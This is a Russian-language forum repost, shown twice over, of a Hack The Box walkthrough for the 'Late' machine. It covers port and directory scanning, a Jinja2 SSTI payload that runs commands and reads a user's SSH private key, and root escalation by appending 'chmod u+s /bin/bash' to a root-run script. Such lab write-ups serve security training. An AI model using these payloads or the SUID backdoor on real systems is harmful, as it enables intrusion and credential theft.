- Регистрация
- 20.01.2011
- Сообщения
- 7,665
- Розыгрыши
- 0
- Реакции
- 135
Содержание статьи
или Зарегистрируйся.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.156 late.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скриптаНаходим всего два открытых порта:
Справка: брутфорс учеток
Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но машины с HTB почти всегда можно пройти по‑другому. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Заглянем на сайт через браузер.
Главная страница сайта Для просмотра ссылки Войдиили ЗарегистрируйсяТОЧКА ВХОДА
На сайте видим всего две страницы: Home (текущая) и Contact. Попробуем поискать скрытый контент.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войдиили Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
ffuf -u 'http://late.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffufСнова ничего интересного. Тогда перейдем к сканированию файлов HTML (ведь нас встретили именно такие статические страницы):
ffuf -u 'http://late.htb/FUZZ.html' -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования HTML-файлов с помощью ffufИ снова ничего нового. Тогда я решил просмотреть исходники страниц и сразу обнаружил в тексте ссылку, ведущую на другой поддомен!
Ссылка в тексте
Новый поддоменНайденный поддомен добавим в файл /etc/hosts и заглянем на расположенный там сайт.
10.10.11.156 late.htb images.late.htb
Главная страница сайта Для просмотра ссылки Войдиили Зарегистрируйся встречает преобразователь изображений в текст, написанный с использованием Flask, а это значит, что нужно сразу проверить наличие уязвимостей SSTI.
ТОЧКА ОПОРЫ
Я решил отправить первое попавшееся под руку изображение, чтобы посмотреть, как работает этот конвертер, и в ответ получил запрос на сохранение файла. Файл содержал весь текст с отправленного изображения, заключенный в тег <p>.
Отправленное изображение и скачанный файлОт SSTI к RCE
Раз мы можем управлять кодом на странице, попробуем проэксплуатировать SSTI.
Справка: server-side template injection
Server-side template injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
В качестве теста уязвимости SSTI я отправил {{77}}. Если сервер уязвим, он выполнит это выражение и вернет нам результат. Я написал эту последовательность в текстовом редакторе, сделал скриншот и отправил его.
Тест уязвимости SSTIВидим, что сервер уязвим к внедрению шаблонов. Не выполняя обычные перечисления, я решил сразу попробовать получить RCE. Давай получим результат выполнения команды id. Для этого импортируем модуль os. Снова пишем весь код в редакторе, делаем скриншот, отправляем изображение и получаем информацию о текущем контексте работы.
${{ config.__class__.from_envvar.__globals__.import_string("os").popen("id").read() }}
Результат выполнения команды idRCE есть, теперь нужно получить стабильный доступ к хосту. Не будем сразу пытаться пробросить реверс‑шелл, а сначала запросим приватный ключ пользователя svc_acc, что даст нам возможность подключиться по SSH.
${{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat /home/svc_acc/.ssh/id_rsa").read() }}
Приватный ключ пользователяЕсть приватный ключ. Копируем его в отдельный файл, назначаем права командой chmod 0600 id_rsa, затем подключаемся по SSH и забираем флаг пользователя.
Флаг пользователяЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Загрузим на хост скрипт PEASS, запустим его и посмотрим, что он найдет.
Справка: скрипты PEASS для Linux (загрузка через SCP)
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войдиили Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget Для просмотра ссылки Войдиили Зарегистрируйся -O /tmp/linpeas.sh
Затем с помощью встроенных средств SSH загружаем скрипт на удаленный хост, назначаем ему права и выполняем.
scp -i id_rsa /tmp/linpeas.sh svc_acc@late.htb:/tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Результат работы скриптаМы узнали, что в нашем владении — скрипт /usr/local/sbin/ssh-alert.sh. Посмотрим, для чего он нужен.
Содержимое скрипта ssh-alert.shЭтот скрипт сообщает, что обнаружен логин по SSH, и отправляет руту сообщение с помощью sendmail. Так как мы владельцы этого файла, мы можем внести в него изменения. Давай посмотрим, что приводит к его запуску.
Для отслеживания запускаемых процессов в системе будем использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся. Загрузим ее на хост тем же способом, которым загружали linpeas, а потом выполним. Поскольку найденный скрипт сообщает о подключении по SSH, в другом терминале подключимся по SSH, а затем отключимся.
Логин и логаут SSH и логи psps64В выводе находим отображение запуска найденного скрипта, но, что более интересно, он запускается в контексте пользователя с UID=0, а это root. Таким образом, мы можем написать в скрипт свои команды, которые будут выполнены в привилегированном контексте.
В качестве метода закрепления давай назначим файлу командной оболочки бит SUID.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
echo "chmod u+s /bin/bash" >> ssh-alert.sh
Теперь снова зайдем по SSH, сразу же выйдем и проверим права на файл.
Права на файл /bin/bashS-бит установлен, и мы можем изменить контекст пользователя и забрать флаг рута.
/bin/bash -p
Флаг рутаМашина захвачена!
[]Разведка
[]Сканирование портов
[]Точка входа
[]Точка опоры
[]От SSTI к RCE
[]Локальное повышение привилегий
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.156 late.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скриптаНаходим всего два открытых порта:
[]22 — служба OpenSSH 7.6p1;
[]80 — веб‑сервер Nginx 1.14.0.
Справка: брутфорс учеток
Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но машины с HTB почти всегда можно пройти по‑другому. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Заглянем на сайт через браузер.

Главная страница сайта Для просмотра ссылки Войди
На сайте видим всего две страницы: Home (текущая) и Contact. Попробуем поискать скрытый контент.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
[]-w — словарь (я использую словари из набора Для просмотра ссылки Войдиили Зарегистрируйся);
[]-t — количество потоков;
[]-u — URL;
[]-fc — исключить из результата ответы с кодом 403.
ffuf -u 'http://late.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Результат сканирования каталогов с помощью ffufСнова ничего интересного. Тогда перейдем к сканированию файлов HTML (ведь нас встретили именно такие статические страницы):
ffuf -u 'http://late.htb/FUZZ.html' -t 256 -w directory_2.3_medium_lowercase.txt

Результат сканирования HTML-файлов с помощью ffufИ снова ничего нового. Тогда я решил просмотреть исходники страниц и сразу обнаружил в тексте ссылку, ведущую на другой поддомен!

Ссылка в тексте

Новый поддоменНайденный поддомен добавим в файл /etc/hosts и заглянем на расположенный там сайт.
10.10.11.156 late.htb images.late.htb

Главная страница сайта Для просмотра ссылки Войди
ТОЧКА ОПОРЫ
Я решил отправить первое попавшееся под руку изображение, чтобы посмотреть, как работает этот конвертер, и в ответ получил запрос на сохранение файла. Файл содержал весь текст с отправленного изображения, заключенный в тег <p>.

Отправленное изображение и скачанный файлОт SSTI к RCE
Раз мы можем управлять кодом на странице, попробуем проэксплуатировать SSTI.
Справка: server-side template injection
Server-side template injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
В качестве теста уязвимости SSTI я отправил {{77}}. Если сервер уязвим, он выполнит это выражение и вернет нам результат. Я написал эту последовательность в текстовом редакторе, сделал скриншот и отправил его.

Тест уязвимости SSTIВидим, что сервер уязвим к внедрению шаблонов. Не выполняя обычные перечисления, я решил сразу попробовать получить RCE. Давай получим результат выполнения команды id. Для этого импортируем модуль os. Снова пишем весь код в редакторе, делаем скриншот, отправляем изображение и получаем информацию о текущем контексте работы.
${{ config.__class__.from_envvar.__globals__.import_string("os").popen("id").read() }}

Результат выполнения команды idRCE есть, теперь нужно получить стабильный доступ к хосту. Не будем сразу пытаться пробросить реверс‑шелл, а сначала запросим приватный ключ пользователя svc_acc, что даст нам возможность подключиться по SSH.
${{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat /home/svc_acc/.ssh/id_rsa").read() }}

Приватный ключ пользователяЕсть приватный ключ. Копируем его в отдельный файл, назначаем права командой chmod 0600 id_rsa, затем подключаемся по SSH и забираем флаг пользователя.

Флаг пользователяЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Загрузим на хост скрипт PEASS, запустим его и посмотрим, что он найдет.
Справка: скрипты PEASS для Linux (загрузка через SCP)
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget Для просмотра ссылки Войди
Затем с помощью встроенных средств SSH загружаем скрипт на удаленный хост, назначаем ему права и выполняем.
scp -i id_rsa /tmp/linpeas.sh svc_acc@late.htb:/tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

Результат работы скриптаМы узнали, что в нашем владении — скрипт /usr/local/sbin/ssh-alert.sh. Посмотрим, для чего он нужен.

Содержимое скрипта ssh-alert.shЭтот скрипт сообщает, что обнаружен логин по SSH, и отправляет руту сообщение с помощью sendmail. Так как мы владельцы этого файла, мы можем внести в него изменения. Давай посмотрим, что приводит к его запуску.
Для отслеживания запускаемых процессов в системе будем использовать утилиту Для просмотра ссылки Войди

Логин и логаут SSH и логи psps64В выводе находим отображение запуска найденного скрипта, но, что более интересно, он запускается в контексте пользователя с UID=0, а это root. Таким образом, мы можем написать в скрипт свои команды, которые будут выполнены в привилегированном контексте.
В качестве метода закрепления давай назначим файлу командной оболочки бит SUID.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
echo "chmod u+s /bin/bash" >> ssh-alert.sh
Теперь снова зайдем по SSH, сразу же выйдем и проверим права на файл.

Права на файл /bin/bashS-бит установлен, и мы можем изменить контекст пользователя и забрать флаг рута.
/bin/bash -p

Флаг рутаМашина захвачена!